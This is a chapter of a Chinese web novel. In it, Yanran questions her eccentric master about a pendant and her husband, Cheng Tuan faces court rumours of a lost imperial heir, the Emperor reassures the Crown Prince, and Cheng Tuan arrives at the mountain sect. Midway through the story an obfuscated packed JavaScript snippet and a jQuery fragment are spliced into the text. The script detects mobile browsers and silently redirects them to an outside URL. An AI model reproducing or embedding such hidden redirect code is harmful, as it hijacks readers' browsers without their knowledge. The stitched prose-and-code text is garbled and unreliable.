过完年后,程湍去临县巡查,顺路将晏然送回了师门。
深冬的履霜山远看是厚厚的雪,脚下的路是细碎的冰碴,一踩咯吱咯吱响。师父冰方盛只回山待了两天,又离开了,离开前看了晏然带回来的石料。
“还可以,要加快一些进度,估计不久后皇帝就会让你回京复命。”
晏然在大雪皑皑中送走了师父,转脚就去了龟不咳的殿中。
龟不咳好像不曾老去,还是嘴歪眼斜地不满地说话。
“你个小东西回来做什么?”
“来找您,问问当年之事。”晏然毫不客气,和小时候一样,站着不动。
老头摸了摸胡子,怪异地笑了笑,“当年……呵呵,有好多事,你问哪一件?”
“您记得……那个吊坠吗?”
“吊坠……什么吊坠?”龟不咳坐下来,倒了两杯热酒,看着不说话的晏然,“你还记得多少?”
“有一重要之人身犯险境,您问我救不救,我说救。”
“是啊,对啊,你都记得为何要问我?”
“我想问那人是谁,吊坠如何救得了他?……我后来见到那吊坠了。”晏然一脸复杂地说。
“那人就是你夫君,至于如何救他,这个说来话长,我今日不想说。”
晏然有些惊异,“怎么会是我夫君,可它现在在……”
龟不咳喝了口热酒,阴冷的眼神瞧着晏然,“它在谁手里,谁就是你夫君,也是你要救的人。”
“愣神了?怎么了,这夫君你不满意?”龟不咳手上动了几下,“你不该已经成婚了吗?”
晏然脑袋歪着,“你怎么知道?”
龟不咳指了指天,“就是知道。”
“所以你今日来是要做什么?是不满意想要换一个?这个办起来可难。”龟不咳叹气,“难喽。”
“不是!……那吊坠怎么就救了他?”
龟不咳眼神变了又变,“我说了我今日不想说,何况你知道了也没好处。”
晏然看了他一眼,起身就要走,后面传来低低的一声,“站住。”
“把这酒喝了。”
晏然回去将酒端起一口气喝下,热酒急速落到胃里,热气瞬间升腾。
“找时间带这人回来见见我。还有,我怎么看你马上要有血光之灾?”
……血光之灾她受了不少,马上又能怎样。
晏然出了大殿,看着眼前庞大的一座座殿宇,更加茫然了。
--
“公子,京中急报!让您回去一趟。”
“何事如此急?”
程湍皱了眉,他本想着刚空下来可以去栖云峰一趟,去找晏然。
结果是圣上口谕,什么原因没说。无奈他单枪匹马回了京城,京中却是满天传言,说皇室有一嫡长子流落在外。
“哈,还真有这人。”程湍面色不善地在程府书房看着临洱传来的消息,三十多年前宫中却有一无位份的妃嫔生下了孩子,之后的痕迹被抹得一干二净。人不知在哪了,孩子据说也不见了。
同年周皇后生下太子,第二天便封了太子之位,举国欢庆。
京中有此传言看起来也不是偶然,估计是特意为之。会是谁呢?是谁不重要,因为听起来对太子不利。
他甚至有些好奇太子一党的反应。很快琢磨着给临洱回了书信,交代了几句。
进宫的时候就碰巧遇到了太子,这位东宫像以往一样,面色不善,颇有敌意,但这次语气却是有些软了下来。
“好久不见,程大人。”
程湍顿住,他着急复命,可这位太子就好像在这堵着他一般。
“京中风云已起,不知,程大人要站在哪一边?”
“太子殿下放心,臣很快就离京了,沾不到京中的风云。”程湍略略地笑笑,再就藏不住戾气,抬腿就走。
“怕是到时候怎么都要状元郎选择的,你该知道站在哪一边。你不会让天下百姓失望吧?”
程湍没有停下来,任那不清不楚地话语消失在长长的阶下。
“皇上臣程湍前来复命。”程湍将折子呈上去,皇上打开看了看,点点头。
“北州的军队布防如何。”
“已无问题。”
在江表的时候,北州的将领和军中制度就被淘洗改革了几番。这次去北州,程湍只做验收。
“最近不太平啊,你听说了吗?”
“臣不清楚。”确实不清楚,怎么说都算是皇帝家事,他一个臣子不想掺和过多。
“你是真不知还是假不知?”皇帝看着程湍,并没有怪罪,“或许不久,南北的军队都要动一动了。”
程湍早料想到,“一切听从陛下。”
“晏然如何了,听说你们在北州遇见了?”
程湍终于抬眼,与皇帝对视,“是,臣回京前送她回了师门。”
“怎么,埋怨朕让你回来了?”
“臣没有。”
“再等等吧。”
等什么?程湍想了想,为了早日回北州,还是要弄清楚一些。
“不知京中之事,要如何应对,恐是来者不善。”
皇帝听这话倒是笑了,“怎么,你也来问朕?你该做的都做了,还如何应对?”
若是真的再冒出来一个嫡子,将会是一场血雨腥风。
程湍觉得皇帝不该如此轻松,好像一切尽在掌控。难道他早有决断?那京中的传言不会是……皇帝一手促成的吧?
可那人呢?活人总要活着让人见见……
可他好像没有什么立场见,总不能说,是妻子的梦中人,想见见到底是何货色?
“你好像很纠结?”
“陛下,当真,有此人?”程湍认真地问。
皇帝倒是不再看他,远远望着殿门外的那道身影。
“你收拾一下,回北州吧。”
程湍回头看了眼那身影,是跟上来的太子。皇帝走下来,将一封书信递给他,上头竟是晏然的名字。
皇帝拍了拍他的肩膀,然后挥挥手让他离开。
程湍不作声地点点头,将书信放于袖中,走出大殿。
门外的太子没有与他交谈,看着皇帝的眼神欲言又止,程湍一拱手便离开。
殿中很暖和,不像外面,陈虔跪地问安。
“下雪天,你怎么来了,为何不在东宫待着?”皇帝一脸笑意。
“儿臣心中惴惴不安,想来找父皇,以解心中烦忧。”
“何事啊?”
“近来京城传言,找到了皇嫡子的下落。儿臣不知,是真是假。”
“是真是假又何妨啊,虔儿?”皇帝没有回答。
“儿臣并不是贪图名利权位之人,若是真的有人要回来……儿臣会听从父皇的安排。”
两双很像的眼睛无声对峙,许是没有想到一贯隐忍温和的太子能说出如此直接的话,皇帝开了口。
“太子,是你的终究会是你的,你该有这个能力守护自己的东西。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075293|169946||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
陈虔猛然抬头,好像这么多年,第一次得到了父亲的肯定一般,他心中汹涌澎湃。
他的父皇是站在他这边的,又怎么会因为一个不知从哪里冒出来的人就抛弃他。
带着悲愤和被鼓励到的激动,他磕了一个头,道了一声谢,“谢父皇。”
“去吧,朕要用午膳了。”
陈虔甚至觉得自己有些不懂事了,竟也拿这种风言风语来质问父皇,他看着殿外的雪笑了笑。
陈虔直接出宫回了太子府。
“你……这就回来了?”露滴在院子里看雪,一转头,陈虔就在身后。
陈虔从露滴身后抱着她,“天很冷了,怎么不回屋。”
“屋里……有些闷,炭火烧得旺,总容易困。”
陈虔眼神变了变,又面无表情地闭上眼,就这样两人在冰天雪地里站了片刻,陈虔抱着露滴回了屋里。
陈虔放下露滴,就正襟危坐在书桌前,铺开纸,自己研墨。
露滴看着他的神色,“是……发生了什么吗?”她有听过一耳朵最近京中的传言,不觉得那是真的,但对于太子的处境并不美好这一点,是有感知的。
“嗯。”
竟然得到了肯定的回答。
“如果……算了……好好待在府里,我会守好我的一切。”陈虔看了露滴一眼,“不会出事的。”
露滴的心中没;来由的忐忑,她对于太子的一切一无所知。她从一开始就离他很近,从未旁观过,想弄清一些事情的时候,已然拔不开了。
这府里她待了很多年,没有变过样子,她相信,之后也不会变。
晏然回到了崖边小屋,生起炉火,点燃灯,看着那块就要完工的玉玺。
晶莹透亮,翠色欲滴。她总有预感,这个不会是给太子的,当然也不会是皇上自己的。那么好像只有一个用处,可是……他要这个,或者,给他这个,能做什么?
一场大雪下完已经是三天之后,晏然本来在崖边站着发呆,被一个小师弟喊了一声。
“然而!有人上山了,说是找你……说是你夫君!”小家伙停顿了下,“你真的已经成婚了?听师兄们说那人长得不太喜人……你不会是碰到什么坏人了吧?”
晏然一愣,“夫君?”说出口才明白,大概是程湍来找她了,还挺快。
晏然拎着小师弟就来了前山,殿宇前,一人披着黑色大氅,长长一条,面上带着些笑意,和一个师兄说话。
晏然拍走了小师弟,然后向程湍走去。
“你回来了?”
晏然站到他一旁,师兄没见过几面晏然,看了她一眼,然后点头离开。
“刚刚在说什么?”
程湍从大氅里伸出手,将晏然的手握住,晏然顿时觉得很暖和。
“他问我怎么上来的,山脚的人为何会放我上来。”
“你说了什么?”
“我说我是北州太守,他们就让我上来了。”
晏然撇了撇嘴,“不止说了这个吧?”
程湍点点头,很坦然,“是啊,太守也不让上来呢,我说我是然而的夫君。”
“你真的早就知道我在山上的名字。”
“可他们还是不让我上,说然而没有夫君。”程湍凑近了晏然,拢了拢她的帽子,脸离她很近。
“那后来呢?”
“有一个老头,应该是个师父,叫不咳,正巧路过山脚的八角亭。他看了我一眼,便说,放他上山吧。然后我就上来了。”